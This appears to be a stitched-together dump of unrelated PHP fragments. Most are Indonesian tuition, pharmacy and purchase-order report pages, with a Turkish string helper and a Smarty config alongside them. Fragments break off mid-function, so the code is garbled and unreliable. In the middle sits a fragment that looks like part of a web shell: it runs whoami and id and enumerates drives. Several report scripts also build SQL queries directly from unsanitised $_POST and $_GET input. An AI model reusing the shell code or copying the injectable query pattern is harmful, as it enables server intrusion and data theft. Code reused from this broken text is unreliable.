<tr><td colspan="7"><?php
echo anchor('keuangan/cetakpersonal', 'Cetak Data', array('class' => 'btn btn-danger', 'target' => 'new'));
?>
</td></tr>
</table>
<table class="table table-bordered">
<tr class="success"><th colspan="7">Riwayat Transaksi Detail</th></tr>
<tr><th width="10">No</th>
<th width="500">Jenis Pembayaran</th>
<th width="120">Tanggal</th>
<th width="160">Jumlah</th>
<th width="200">Petugas</th><th width="10">Operasi</th></tr>
<?php
$i = 1;
foreach ($transaksi as $r) {
$smt = $r->jenis_bayar_id == 3 ? $r->semester : '';
echo "<tr>\n <td>{$i}</td>\n <td>" . strtoupper($r->keterangan) . " {$smt}</td>\n <td>" . tgl_indo($r->tanggal) . "</td>\n <td>Rp ." . rp((int) $r->jumlah) . "</td>\n <td>" . strtoupper($r->nama) . "</td>\n <td align='center'>" . anchor('keuangan/delete/' . $r->pembayara_detail_id, '<i class="fa fa-trash-o"></i>', array('title' => 'Hapus Catatan')) . "</td></tr>";
$i++;
}
?>
</table>
<?php
} else {
?>
<?php
}
function parseSQLFile($filename, &$tables, &$edges)
{
//init
$tables = array();
$edges = array();
//parse file
$file = file($filename);
for ($i = 0; $i < count($file); ++$i) {
$line = trim($file[$i]);
//node
if (beginsWith($line, "CREATE TABLE")) {
$parts = explode(" ", $line);
$current_table = $parts[2];
$tables[$current_table] = array();
$j = $i + 1;
$line = trim($file[$j]);
//table
while (!beginsWith($line, "CREATE TABLE") && !beginsWith($line, "ALTER TABLE") && $line != "") {
//primary key
if (beginsWith($line, "PRIMARY KEY")) {
$parts = explode(" ", $line);
$tables[$current_table][rp($parts[3])][] = "P";
} elseif (beginsWith($line, "KEY")) {
$parts = explode(" ", $line);
$tables[$current_table][rp($parts[2])][] = "I";
} else {
$parts = explode(" ", $line);
if ($parts[0] != ")") {
$tables[$current_table][$parts[0]] = array();
}
}
++$j;
$line = trim($file[$j]);
}
} elseif (beginsWith($line, "ALTER TABLE")) {
$parts = explode("`", $line);
$from = $parts[1];
$j = $i + 1;
while (beginsWith(trim($file[$j]), "ADD CONSTRAINT")) {
$parts = explode(" ", $file[$j]);
$to = $parts[9];
$tables[$from][rp($parts[7])][] = "F";
$edges[] = array($from, $to);
++$j;
}
}
}
}
function cetak_pt($enkrip = null, $id = null)
{
// $enkrip=$this->enkrip();
if ($id != null) {
$data = $this->ptdb->getonept($id);
// print_r($data);
$div = '';
$div .= '<table class="table table-condensed table-striped table-bordered">';
$div .= '<tbody>';
// $div.='<tr>';
$div .= '<tr><th>Faktur PO:</th><td>' . $data['faktur_pt'] . '</td><th>Tanggal PO</th><td>' . $data['tgl_pt'] . '</td></tr>';
$div .= '<tr><th>Supplier:</th><td>' . $data['namasupplier'] . ' (' . $data['kdsupplier'] . ')</td><th>Tanggal Kirim</th><td>' . $data['tgl_kirim_pt'] . '</td></tr>';
$div .= '<tr><th>Status PO:</th><td>' . $data['status'] . '</td><td>Tanggal Kedaluarsa</td><td>' . $data['tgl_kedaluarsa_pt'] . '</td></tr>';
$div .= '<tr><th>Total:</th><td>' . rp($data['totalbayar']) . '</td><th>Pembayaran:</th><td>' . $data['jenis_pembayaran'] . '</td></tr>';
$div .= "</tbody></table><table class='table table-condesed table-striped'><tbody>";
$div .= '<tr><th class="text-center">No</th><th class="text-center">Kode</th>
<th class="text-center">Nama Barang</th>
<th class="text-center">Jumlah</th>
<th class="text-center">Satuan</th>
<th class="text-center">Harga</th>
<th class="text-center">Subtotal</th>
</tr>';
$detail = $this->ptdb->get_detail_pt($data['faktur_pt']);
// print_r($detail);
$jdetail = count($detail);
$j = 1;
for ($i = 0; $i < $jdetail; $i++) {
# code...
$div .= '<tr ><td class="text-center">' . $j . '</td><td class="text-center">' . $detail[$i]['Kode'] . '</td><td>' . $detail[$i]['Nama'] . '</td><td class="text-center">' . $detail[$i]['jumlah'] . '</td><td class="text-center">' . $detail[$i]['satuan'] . '</td><td class="text-right">' . rp($detail[$i]['harga']) . '</td><td class="text-right">' . rp($detail[$i]['subtotal']) . '</td></tr>';
$j++;
}
$div .= "<tr><td colspan='5'></td><th class='text-right'><h3>Total</h3></th><th class='text-right'><h3>" . rp($data['totalbayar']) . "</h3></th></tr>";
$div .= "</tbody></table>";
$this->template->set_layout('cetak');
$this->template->load_view('cetak_pt_baru', array('content' => $div, 'data' => $data, 'detail' => $detail));
}
}
Sampai <?php
echo tgl_indo($this->uri->segment(4));
?>
</td></tr>
</table><hr>
<br><table border="1" cellspacing="0">
<tr>
<th>No</th>
<th>Tanggal</th>
<th width="60">NIM</th>
<th width="120">Nama Mahasiswa</th>
<th width="130">Program Studi</th>
<th width="120">Jenis Pembayaran</th>
<th width="90">Total</th>
</tr>
<?php
$no = 1;
$total = 0;
foreach ($transaksi as $r) {
echo "<tr><td>{$no}</td>\n <td>" . tgl_indo($r->tanggal) . "</td>\n <td>" . strtoupper($r->nim) . "</td>\n <td>" . strtoupper($r->nama) . "</td>\n <td>" . strtoupper($r->nama_konsentrasi) . "</td>\n <td>" . strtoupper($r->keterangan) . "</td>\n <td align='right'>" . rp((int) $r->jumlah) . "</td>\n </tr>";
$no++;
$total = $total + $r->jumlah;
}
?>
<tr>
<td align='right' colspan='6'><b>Grand Total</b></td>
<td align='right'><b><?php
echo rp($total);
?>
</b></td>
</tr></table>
function requested_url()
{
global $config;
$page = str_replace(rp(), '', $_SERVER['REQUEST_URI']);
$page = !empty($_SERVER['REQUEST_URI']) ? preg_replace('#^/?(.*?)/?$#', '\\1', $page) : '';
return $page;
}
// Baca input tanggal yang dikirimkan user
$mulai = $_POST[thn_mulai] . '-' . $_POST[bln_mulai] . '-' . $_POST[tgl_mulai];
$selesai = $_POST[thn_selesai] . '-' . $_POST[bln_selesai] . '-' . $_POST[tgl_selesai];
// Query untuk merelasikan kedua tabel di filter berdasarkan tanggal
$sql = mysql_query("SELECT orders.id_orders as faktur,DATE_FORMAT(tgl_order, '%d-%m-%Y') as tanggal,\n nama_produk,jumlah,harga \n FROM orders, orders_detail, produk \n WHERE (orders_detail.id_produk=produk.id_produk) \n AND (orders_detail.id_orders=orders.id_orders) \n AND (orders.status_order='Lunas') \n AND (orders.tgl_order BETWEEN '{$mulai}' AND '{$selesai}')");
$jml = mysql_num_rows($sql);
if ($jml > 0) {
$i = 1;
while ($r = mysql_fetch_array($sql)) {
$quantityharga = rp($r[jumlah] * $r[harga]);
$hargarp = rp($r[harga]);
$faktur = $r[faktur];
$data[$i] = array('<b>No</b>' => $i, '<b>Faktur</b>' => $faktur, '<b>Tanggal</b>' => $r[tanggal], '<b>Nama Produk</b>' => $r[nama_produk], '<b>Qty</b>' => $r[jumlah], '<b>Harga</b>' => $hargarp, '<b>Sub Total</b>' => $quantityharga);
$total = $total + $r[jumlah] * $r[harga];
$totqu = $totqu + $r[jumlah];
$i++;
}
$pdf->ezTable($data, '', '', '');
$tot = rp($total);
$pdf->ezText("\n\nTotal keseluruhan : Rp. {$tot}");
$pdf->ezText("\nJumlah yang terjual : {$jml} unit");
$pdf->ezText("Jumlah keseluruhan yg terjual: {$totqu} unit");
// Penomoran halaman
$pdf->ezStartPageNumbers(320, 15, 8);
$pdf->ezStream();
} else {
$m = $_POST[tgl_mulai] . '-' . $_POST[bln_mulai] . '-' . $_POST[thn_mulai];
$s = $_POST[tgl_selesai] . '-' . $_POST[bln_selesai] . '-' . $_POST[thn_selesai];
echo "Tidak ada transaksi/order pada Tanggal {$m} s/d {$s}";
}
}
$s_safemode = FALSE;
}
// uname -a
$s_system = php_uname();
// check os
$s_win = FALSE;
if (strtolower(substr($s_system, 0, 3)) == "win") {
$s_win = TRUE;
}
// get path and all drives available
$letters = '';
if (!$s_win) {
if (!($s_user = rp(exe("whoami")))) {
$s_user = "";
}
if (!($s_id = rp(exe("id")))) {
$s_id = "";
}
$pwd = getcwd() . DIRECTORY_SEPARATOR;
} else {
$s_user = get_current_user();
$s_id = $s_user;
$pwd = realpath(".") . "\\";
// find drive letters
$v = explode("\\", $d);
$v = $v[0];
foreach (range("A", "Z") as $letter) {
$bool = @is_dir($letter . ":\\");
if ($bool) {
$letters .= "<a href=\"?d=" . $letter . ":\\\">[ ";
if ($letter . ":" != $v) {
<?php
echo form_input('biayakirimx', set_value('biayakirimx', isset($default['biayakirim']) ? rp($default['biayakirim']) : ''), 'id="biayakirimx" class="form-control input-lg text-right" style="font-size:24px;" placeholder="Masukkan biayakirimx" disabled');
?>
</div>
</div>
<div class="form-group">
<?php
echo form_label('grandtotal : ', 'grandtotal', array('class' => 'control-label'));
?>
<div class="controls">
<?php
echo form_input('grandtotal', set_value('grandtotal', isset($default['grandtotal']) ? $default['grandtotal'] : ''), 'id="grandtotal" class="form-control input-lg text-right hidden" readonly style="font-size:24px;" placeholder="Masukkan grandtotal"');
?>
<?php
echo form_input('grandtotalx', set_value('grandtotalx', isset($default['grandtotal']) ? rp($default['grandtotal']) : ''), 'id="grandtotalx" class="form-control input-lg text-right" style="font-size:24px;" placeholder="Masukkan grandtotalx" disabled');
?>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-12 col-md-12 col-lg-12">
<?php
$act = $this->session->userdata('action');
if ($act['baru'] == 1) {
?>
<button id="save_retur" type="submit" class="btn btn-lg btn-success"><icon class="fa fa-floppy-o"></icon> Simpan</button>
<?php
<td><?php
echo rp((int) $totalsmpp);
?>
</td>
<td><?php
echo rp($wisuda);
?>
</td>
<td><?php
echo rp($totallain);
?>
</td>
<td><?php
echo rp($totalsmpp + $totallain + $totalwisuda);
?>
</td>
</tr>
<tr>
<td colspan="5"><p align="right" >Jumlah Debit</p></td>
<td colspan="3"><p align="right" ><?php
echo rp($totalsmpp + $totallain + $totalwisuda);
?>
</p></td>
<td><?php
echo rp($totalsmpp + $totallain + $totalwisuda);
?>
</td>
</tr>
</table>
echo "</tr>";
}
?>
</tbody>
</table>
</div><!-- /table-responsive -->
<table class="table invoice-total">
<tbody>
<tr>
<td><strong>Total :</strong></td>
<td><?php
echo rp($data['totalbayar']);
?>
</td>
</tr>
<!-- <tr>
<td><strong>PAJAK :</strong></td>
<td>$235.98</td>
</tr>
<tr>
<td><strong>GRAND TOTAL :</strong></td>
<td>$1261.98</td>
</tr> -->
</tbody>
</table>
<?php
}
$pdf->addObject($all, 'all');
// Baca input tanggal yang dikirimkan user
$tgl1 = $_POST[thn_1] . '-' . $_POST[bln_1];
$pecah1 = explode("-", $tgl1);
$month1 = $pecah1[1];
$year1 = $pecah1[0];
// Query untuk merelasikan kedua tabel di filter berdasarkan tanggal
$sum = mysql_fetch_array(mysql_query("SELECT * FROM master_laporan WHERE bulan='{$month1}' AND tahun='{$year1}'"));
$sql = mysql_query("select * from master_laporan where tahun='{$year1}' and bulan='{$month1}'");
$jml = mysql_num_rows($sql);
if ($jml > 0) {
$i = 1;
while ($r = mysql_fetch_array($sql)) {
$n3 = rp($r[3]);
$n2 = rp($r[2]);
$n7 = rp($r[7]);
$n4 = rp($r[4]);
$n5 = rp($r[5]);
$n6 = rp($r[6]);
$data[$i] = array('<b>No</b>' => $i, '<b>Tahun</b>' => $r[0], '<b>Bulan</b>' => $r[1], '<b>Penjualan</b>' => $n2, '<b>Pembelian</b>' => $n3, '<b>Hpp</b>' => $n4, '<b>Biaya</b>' => $n5, '<b>Persd.Akhir</b>' => $n7, '<b>Laba</b>' => $n6);
$i++;
}
$pdf->ezTable($data, '', '', '');
// Penomoran halaman
$pdf->ezStartPageNumbers(320, 15, 8);
$pdf->ezStream();
} else {
$m = $_POST[bln_1];
$s = $_POST[thn_1];
echo "<script>window.alert('Tidak ada laporan laba rugi pada Bulan {$m} Tahun {$s}');\n window.location=('" . $uri . "/apotek/out.php')</script>";
}
function strto($to, $str)
{
define('cs', 'utf-8');
if (!function_exists('rp')) {
function rp($i, $str)
{
$B = array('I', 'Ğ', 'Ü', 'Ş', 'İ', 'Ö', 'Ç');
$k = array('ı', 'ğ', 'ü', 'ş', 'i', 'ö', 'ç');
$Bi = array(' I', ' ı', ' İ', ' i');
$ki = array(' I', ' I', ' İ', ' İ');
if ($i == 1) {
return str_replace($B, $k, $str);
} elseif ($i == 2) {
return str_replace($k, $B, $str);
} elseif ($i == 3) {
return str_replace($Bi, $ki, $str);
}
}
}
if (!function_exists('cf')) {
function cf($c = array(), $str)
{
foreach ($c as $cc) {
$s = explode($cc, $str);
foreach ($s as $k => $ss) {
$s[$k] = strto('ucfirst', $ss);
}
$str = implode($cc, $s);
}
return $str;
}
}
if (!function_exists('te')) {
function te()
{
return trigger_error('Lütfen geçerli bir strto() parametresi giriniz.', E_USER_ERROR);
}
}
$to = explode('|', $to);
if ($to) {
foreach ($to as $t) {
if ($t == 'lower') {
$str = mb_strtolower(rp(1, $str), cs);
} elseif ($t == 'upper') {
$str = mb_strtoupper(rp(2, $str), cs);
} elseif ($t == 'ucfirst') {
$str = mb_strtoupper(rp(2, mb_substr($str, 0, 1, cs)), cs) . mb_substr($str, 1, mb_strlen($str, cs) - 1, cs);
} elseif ($t == 'ucwords') {
$str = ltrim(mb_convert_case(rp(3, ' ' . $str), MB_CASE_TITLE, cs));
} elseif ($t == 'capitalizefirst') {
$str = cf(array('. ', '.', '? ', '?', '! ', '!', ': ', ':'), $str);
} else {
$str = te();
}
}
} else {
$str = te();
}
return $str;
}
$sudah_bayar = (int) get_biaya_sudah_bayar($biodata['nim'], $jb->jenis_bayar_id);
$sisa = $jumlah_bayar - $sudah_bayar;
$ket = $sisa <= 0 ? 'Lunas' : 'Tunggakan ' . rp($sisa);
echo "<tr><td>{$no}</td>\n <td>" . strtoupper($jb->keterangan) . "</td>\n <td>" . rp($jumlah_bayar) . "</td>\n <td>" . rp($sudah_bayar) . "</td>\n <td>" . rp($sisa) . "</td>\n </tr>";
$no++;
$sisa_total = $sisa_total + $sisa;
}
// looping semester
for ($i = 1; $i <= $semester; $i++) {
$spp = (int) get_biaya_kuliah($tahun_akademik_id, 3, $konsentrasi_id, 'jumlah');
$spp_udah_bayar = (int) get_semester_sudah_bayar($biodata['nim'], $i);
$sisa = $spp - $spp_udah_bayar;
$keterangan = $sisa <= 0 ? 'Lunas' : 'Tunggakan ' . $sisa;
echo "<tr><td>{$no}</td>\n <td>SPP SEMESTER {$i}</td>\n <td>" . rp($spp) . "</td>\n <td>" . rp($spp_udah_bayar) . "</td>\n <td>" . rp($sisa) . "</td>";
$sisa_total = $sisa_total + $sisa;
$no++;
}
?>
<tr><td colspan="4" align="left">Total Yang Belum Dibayar</td><td><?php
echo rp($sisa_total);
?>
</td></tr>
</table>
<br><br>
Cimahi, <?php
echo tgl_indo(substr(waktu(), 0, 10));
?>
<br>
Bagian Keuangan<BR></br><br><br><br>
(...........................)
<th width="70">Nim</th>
<th>Nama Mahasiswa</th>
<th width="200">Program Studi</th>
<th width="220">Jenis Bayar</th>
<th width="60">Jumlah</th></tr>
<?php
$no = 1;
$jumlah = 0;
foreach ($transaksi as $r) {
echo "<tr>\n <td>{$no}</td>\n <td>" . tgl_indo($r->tanggal) . "</td>\n <td>" . strtoupper($r->nim) . "</td>\n <td>" . strtoupper($r->nama) . "</td>\n <td>" . strtoupper($r->nama_konsentrasi) . "</td>\n <td>" . strtoupper($r->keterangan) . "</td>\n \n <td align='right'>" . rp((int) $r->jumlah) . "</td>\n </tr>";
$jumlah = $jumlah + $r->jumlah;
$no++;
}
?>
<tr><td colspan="6"><p align='right'>Grand Total</p></td><td align='right'><?php
echo rp($jumlah);
?>
</td></tr>
</table>
<?php
}
?>
<script type="text/javascript">
function cetak(id,id2)
{
window.open('http://localhost/akademik/keuangan/cetak/','1397003076569','width=700,height=500,toolbar=0,menubar=0,location=0,status=1,scrollbars=1,resizable=1,left=0,top=0');
}
</script>
</td>
<td><?php
echo $value['jumlah_satuan'] . " (" . $value['satuan'] . ")";
?>
</td>
<td class="text-right"><?php
echo rp($value['harga_satuan']);
?>
</td>
<td class="text-right"><?php
echo rp($value['subtotal']);
?>
</td>
</tr>
<?php
}
?>
<tr>
<th class="text-right" colspan="4">Total</th><td class="text-right"><?php
echo rp($data['total']);
?>
</td>
</tr>
</tbody>
<tfoot>
<tr></tr>
</tfoot>
</table>
function tabeldetail()
{
$data = $this->podb->getdetail_po_temp();
if (!empty($data)) {
$div = '';
$div .= '<table id="datatables" class="tabletemp table table-condensed table-bordered table-striped" style="font-size:12px">';
$div .= "<thead>";
$div .= "<tr>";
$div .= "<th class='text-center'>#</th>";
$div .= "<th class='text-center'>#PO</th>";
$div .= "<th class='text-center'>Kode</th>";
$div .= "<th class='text-center'>Barang</th>";
$div .= "<th class='text-center'>Jumlah</th>";
$div .= "<th class='text-center'>Satuan</th>";
$div .= "<th class='text-center'>Harga</th>";
$div .= "<th class='text-center'>Sub Total</th>";
$div .= "<th class='text-center'>#</th>";
$div .= "</tr>";
$div .= "</thead><tbody>";
$jml = count($data);
$total = 0;
// print_r($data);
$j = 0;
for ($i = 0; $i < $jml; $i++) {
# code...
foreach ($data as $v) {
$div .= "<tr>";
$div .= "<td>" . $j . "</td>";
$div .= "<td>" . $v['id_po'] . "</td>";
$div .= "<td>" . $v['Kode'] . "</td>";
$div .= "<td>" . $v['Nama'] . "</td>";
$div .= "<td>" . $v['jumlah'] . "</td>";
$div .= "<td>" . $v['satuan_kemasan'] . "</td>";
$div .= "<td class='text-right'>" . rp($v['harga_kemasan']) . "</td>";
$div .= "<td class='text-right'>" . rp($v['subtot_kemasan']) . "</td>";
$div .= "<td ><button data-toggle='tooltip' data-placement='top' title='Hapus' class='delete_temp btn btn-xs btn-danger' id='" . $v['id_detail'] . "'><i class='fa fa-minus'></i></button></td>";
$div .= "</tr>";
$j++;
}
$total = $total + $v['subtot_kemasan'];
}
$div .= '</tbody><tfoot><tr>';
$div .= '<th colspan="6" class="text-right">Total</th>';
$div .= '<th class="text-right">' . rp($total) . '</th>';
$div .= '</tr></tfoot>';
$div .= '</table>';
} else {
$div = array();
}
return $div;
}
<th>Tunggakan</th>
</tr>
<?php
$i = 1;
$tunggakan_spp = 0;
foreach ($mahasiswa as $m) {
$tunggakan = 0;
echo "<tr><td>{$i}</td>\n <td>" . strtoupper($m->nim) . "</td>\n <td>" . strtoupper($m->nama) . "</td>";
for ($i = 1; $i <= $jml_semester; $i++) {
$jml_spp = jml_spp_konsentrasi2($konsentrasi_id, $tahun_akademik);
$sdh_bayar = chek_bayar_semester($m->nim, $i);
echo "<td align='right'>" . rp((int) $sdh_bayar) . "</td>";
$tunggakan = $tunggakan + ($jml_spp - $sdh_bayar);
}
echo "<td align='right'>" . rp((int) $tunggakan) . "</td>";
$tunggakan_spp = $tunggakan_spp + $tunggakan;
$i++;
}
?>
</tr>
<tr><td colspan="<?php
echo $jml_semester + 3;
?>
"></td><td align="right"><?php
echo rp((int) $tunggakan_spp);
?>
</td></tr>
</table>
<?php
}
function cetak_pt($enkrip = null, $id = null)
{
// $enkrip=$this->enkrip();
if ($id != null) {
$data = $this->ptdb->getonept($id);
// echo "<pre>";
// print_r($data);
$div = '';
$div .= '<table class="table table-condensed table-striped table-bordered">';
$div .= '<tbody>';
// $div.='<tr>';
$div .= '<tr><th>#Faktur PT:</th><td>' . $data['faktur_pt'] . '</td><th>Tanggal Transaksi</th><td>' . $data['tgl_pt'] . '</td></tr>';
$div .= '<tr><th>Supplier:</th><td>' . $data['Nama'] . ' (' . $data['Kode'] . ')</td><th>Tanggal Kirim</th><td>' . $data['tgl_jatuh_tempo'] . '</td></tr>';
$div .= "</tbody></table><table class='table table-condesed table-striped'><tbody>";
$div .= '<tr><th class="text-center">No</th><th class="text-center">Kode</th>
<th class="text-center">Nama Barang</th>
<th class="text-center">Jumlah</th>
<th class="text-center">Satuan</th>
<th class="text-center">Harga</th>
<th class="text-center">Subtotal</th>
</tr>';
$detail = $this->ptdb->get_detail_pt($data['id']);
// print_r($detail);
// echo "</pre>";
$jdetail = count($detail);
$j = 1;
for ($i = 0; $i < $jdetail; $i++) {
# code...
$div .= '<tr ><td class="text-center">' . $j . '</td><td class="text-center">' . $detail[$i]['Kode'] . '</td><td>' . $detail[$i]['Nama'] . '</td><td class="text-center">' . $detail[$i]['jumlah'] . '</td><td class="text-center">' . $detail[$i]['satuan'] . '</td><td class="text-right">' . rp($detail[$i]['harga_satuan']) . '</td><td class="text-right">' . rp($detail[$i]['subtotal']) . '</td></tr>';
$j++;
}
$div .= "<tr><td colspan='5'></td><th class='text-right'><h3>Total</h3></th><th class='text-right'><h3>" . rp($data['totalbayar']) . "</h3></th></tr>";
$div .= "</tbody></table>";
$supplier = $this->spdb->get_one($data['id_supplier']);
// print_r($supplier);
$this->template->set_layout('cetak');
$this->template->load_view('cetak_pt', array('content' => $div, 'data' => $data, 'detail' => $detail, 'supplier' => $supplier));
}
}
$pdf->closeObject();
// Tampilkan object di semua halaman
$pdf->addObject($all, 'all');
// Baca input tanggal yang dikirimkan user
$mulai = $_GET[tgl1];
$selesai = $_GET[tgl2];
// Koneksi ke database dan tampilkan datanya
// Query untuk merelasikan kedua tabel di filter berdasarkan tanggal
$sql = mysql_query("select kd_penj.tanggal,kd_penj.kd_pjl,penjualan.id_product,barang.nama,\n penjualan.harga,penjualan.jumlah,penjualan.subtotal\n from penjualan,kd_penj,barang\n where kd_penj.kd_pjl=penjualan.id_transaksi and barang.kode=penjualan.id_product and kd_penj.tanggal\n\t\t\t\t\t\t\t\t\t\t between '{$mulai}' and '{$selesai}'\n\t\t\t\t\t");
$sum = mysql_fetch_array(mysql_query("SELECT sum(total) as total from \n\t\tkd_penj where tanggal between '{$mulai}' and '{$selesai}'"));
$jml = mysql_num_rows($sql);
if ($jml > 0) {
$i = 1;
while ($r = mysql_fetch_array($sql)) {
$hargarp = rp($r[4]);
$subrp = rp($r[6]);
$data[$i] = array('<b>No</b>' => $i, '<b>Tanggal</b>' => $r[0], '<b>Kode Transaksi</b>' => $r[1], '<b>Nama Barang</b>' => $r[3], '<b>Harga</b>' => $hargarp, '<b>Jumlah</b>' => $r[5], '<b>SubTotal</b>' => $subrp);
$i++;
}
$pdf->ezTable($data, '', '', '');
$tot = rp($sum[total]);
$pdf->ezText("\n\nTotal keseluruhan : Rp. {$tot}");
$pdf->ezText("Pencarian dari Tanggal {$mulai} s/d {$selesai}");
// Penomoran halaman
$pdf->ezStartPageNumbers(320, 15, 8);
$pdf->ezStream();
} else {
$m = $_POST[tgl_1] . '-' . $_POST[bln_1] . '-' . $_POST[thn_1];
$s = $_POST[tgl_2] . '-' . $_POST[bln_2] . '-' . $_POST[thn_2];
echo "<script>window.alert('Tidak ada laporan Penjualan pada Tanggal {$m} s/d {$s}');\n window.location=('" . $uri . "/apotek/out.php')</script>";
}
#if ($_GET['fn']{strlen($_GET['fn'])-1}=="/"){
# $_GET['fn'].="/";
# }
# if ($_GET['fd']=='.'){$temp_1="./";}elseif($_GET['fd']=='/'){$temp_1="/";}else{$temp_1='';}
#if ($_GET['fd']{0}=="/"){$temp_1='/';}elseif ($_GET['fd']{0}=="."){$temp_1='.';}else{$temp_1='';}
#if ($_GET['go']=='..'){$temp_2="/../";}else{$temp_2='';}
#echo $_GET['fn'];die();
if (strlen($__lang['ele']) > 0) {
$__lang['ele'] .= '%2F';
}
$urlt = str_replace("%2F%2F", "%2F", "&fd=" . urlencode(htmlentities(rp(str_replace("\\", "/", $_GET['fd']) . $_GET['fn']))));
} else {
$_GET['cat'] = $__lang['files'];
$__lang['ele'] = "&fn=";
if (isset($_GET['fd']) && isset($_GET['fn'])) {
$urlt = str_replace("%2F%2F", "%2F", "&fd=" . urlencode(htmlentities(rp($_GET['fd'])))) . "&ele=" . urlencode(htmlentities($_GET['fn']));
}
}
#$urlt="&fd=".htmlentities(urlencode($temp_1.rp($_GET['fd'].$_GET['fn'])));
#}
#$current_ext= end(explode('.', html_entity_decode($_GET['ele'])));
#### VARS ####
if (!isset($current_extlink)) {
$current_extlink = "";
}
$___wph = $workpathios[2] . $current_extlink . "/";
$___workpath = $workpathios[2] . "css/";
#echo $___workpath;die();
$depend["parse_init"] = false;
startfunct($depend);
$depend = array();
<td></td>
<td></td>
<td></td>
<td><strong>PAJAK :</strong></td>
<td><?php
echo $data['ppn'];
?>
</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><strong>GRAND TOTAL :</strong></td>
<td><?php
echo rp($data['grandtotal']);
?>
</td>
</tr>
</tbody>
</table>
<?php
}
?>
<div class="text-right">
<button class="btn btn-primary"> Proses Bayar <i class="fa fa-chevron-right"></i></button>
</div>
<div class="well m-t"><strong>Comments</strong>
It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less
</div>
function tampilkandata($konsentrasi, $tahun_akademik)
{
// fires else
$data = $this->db->get_where('student_mahasiswa', array('konsentrasi_id' => $konsentrasi, 'angkatan_id' => $tahun_akademik))->result();
$jenis_bayar = $this->db->get('keuangan_jenis_bayar');
echo "<table class='table table-bordered'>\n <tr><th width='170'>Nama Konsentrasi</th><th>" . strtoupper(getField('akademik_konsentrasi', 'nama_konsentrasi', 'konsentrasi_id', $konsentrasi)) . "</th></tr>\n <tr><th>Tahun Akademik</th><th>" . getField('student_angkatan', 'keterangan', 'angkatan_id', $tahun_akademik) . "</th></tr>\n \n </table>";
echo "<table class='table table-bordered'>\n <tr><th rowspan=2>No</th><th rowspan=2>Nim</th><th rowspan='2' width='200'>Nama Lengkap</th>";
foreach ($jenis_bayar->result() as $j) {
echo "<th colspan=3><p align='center'>" . strtoupper($j->keterangan) . "</p></th>";
}
echo "<th rowspan=2>Total Tunggakan</th></tr>\n <tr>";
foreach ($jenis_bayar->result() as $j) {
echo "<th>01</th><th>02</th><th>03</th>";
}
echo "</tr>";
$no = 1;
$tunggakan = 0;
foreach ($data as $r) {
// zebra
$bgcolor = $no % 2 != 0 ? '#CCCCCC' : '#FFFFFF';
// end zebra
echo "<tr bgcolor='{$bgcolor}'>\n <td>{$no}</td>\n <td>" . strtoupper($r->nim) . "</td>\n <td width='200'>" . strtoupper($r->nama) . "</td>";
// foreach kolom value
$tunggakanmsw = 0;
foreach ($jenis_bayar->result() as $jb) {
$harus_bayar = chek_bayar($r->nim, $jb->jenis_bayar_id, 01);
$sudah_bayar = chek_bayar($r->nim, $jb->jenis_bayar_id, 02);
$sisa1 = $harus_bayar - $sudah_bayar;
$sisa = $sisa1 == 0 ? 'Lunas' : rp((int) $sisa1);
echo "<td>" . rp((int) $harus_bayar) . "</td>\n <td>" . rp((int) $sudah_bayar) . "</td>\n <td>" . $sisa . "</td>";
$tunggakanmsw = $tunggakanmsw + $sisa1;
//
}
echo "<td>" . rp((int) $tunggakanmsw) . "</td></tr>";
$tunggakan = $tunggakan + $tunggakanmsw;
$no++;
}
echo "<tr class='success'>\n <td colspan=" . ($jenis_bayar->num_rows() * 3 + 0) . "></td>\n <td colspan=3>Total Tunggakan</td><td><b>" . rp((int) $tunggakan) . "</b></td>\n </tr></table>";
// hitung sudah berapa tahun kuliah berdasarkan tahun akademik
$tahun_sekarang = date('Y');
$jml_semester = $tahun_akademik - $tahun_sekarang + 1;
$smt_aktif = getField('student_mahasiswa', 'semester_aktif', 'angkatan_id', $_GET['tahun_angkatan']);
$spp_bayar = jml_spp_konsentrasi($konsentrasi, $_GET['tahun_angkatan']);
echo "<table class='table table-bordered'>\n <tr class='success'>\n <th colspan=" . ($smt_aktif + 4) . ">PEMBAYARAN SPP | BIAYA SPP PERSEMESTER = RP. " . rp((int) $spp_bayar) . "</th>\n </tr>\n <tr>\n <th width='10'>No</th>\n <th width='60'>NIM</th>\n <th>NAMA</th>";
// looping semester
// get semester aktif
for ($i = 1; $i <= $smt_aktif; $i++) {
echo "<th><p align='center'>SEMESTER {$i}</p></th>";
}
echo "<th>Tunggakan</th></tr>";
$no = 1;
$tot_tunggakan = 0;
foreach ($data as $r) {
$tunggakan_smt = 0;
// zebra
$bgcolor = $no % 2 != 0 ? '#CCCCCC' : '#FFFFFF';
// end zebra
echo "<tr bgcolor='{$bgcolor}'><td>{$no}</td> \n <td>" . strtoupper($r->nim) . "</td>\n <td width='200'>" . strtoupper($r->nama) . "</td>";
// looping kolom bayar
for ($i = 1; $i <= $smt_aktif; $i++) {
$spp = chek_bayar_semester($r->nim, $i);
echo "<td>" . rp((int) $spp) . "</td>";
$tunggakan_smt = $tunggakan_smt + ($spp_bayar - $spp);
}
// end looping kolom bayar
echo "<td>" . rp((int) $tunggakan_smt) . "</td></tr>";
$tot_tunggakan = $tot_tunggakan + $tunggakan_smt;
$no++;
}
echo "<tr><td colspan='" . ($smt_aktif + 3) . "'>Jumlah Tunggakan</td><td>" . rp((int) $tot_tunggakan) . "</td></tr></table>";
// end else
}
$out[] = $fold;
}
}
return ($path[0] == '/' ? '/' : '') . join('/', $out);
}
$root = explode(basename($_SERVER['PHP_SELF']), $_SERVER["PHP_SELF"]);
define("ROOT_DIR", $root[0]);
define("ROOT_URL", "http://" . $_SERVER['HTTP_HOST'] . ROOT_DIR);
define("CONFIG_DIR", rp("./config"));
// class
define("CLASS_DIR", rp("./Class"));
define("SMARTY_DIR", CLASS_DIR . "/Smarty");
define("SMARTY_SYSPLUGINS_DIR", SMARTY_DIR . "/sysplugins/");
//END slashess used in smarty class
define("SMARTY_PLUGIN", SMARTY_DIR . "/plugins/");
//END slashess used in smarty class
// cache
define("CACHE_DIR", rp("./cache"));
define("CACHE_SMARTY_DIR", CACHE_DIR . "/.smarty-cache");
define("CACHE_SMARTY_COMPILE", CACHE_DIR . "/.smarty-compile");
// Templates
define("TEMPLATE_EXT", rp(".tpl"));
define("TEMPLATE_DIR", rp("./templates/guildPanel2016"));
define("IMG_DIR", TEMPLATE_DIR . "/img");
define("JS_DIR", TEMPLATE_DIR . "/js");
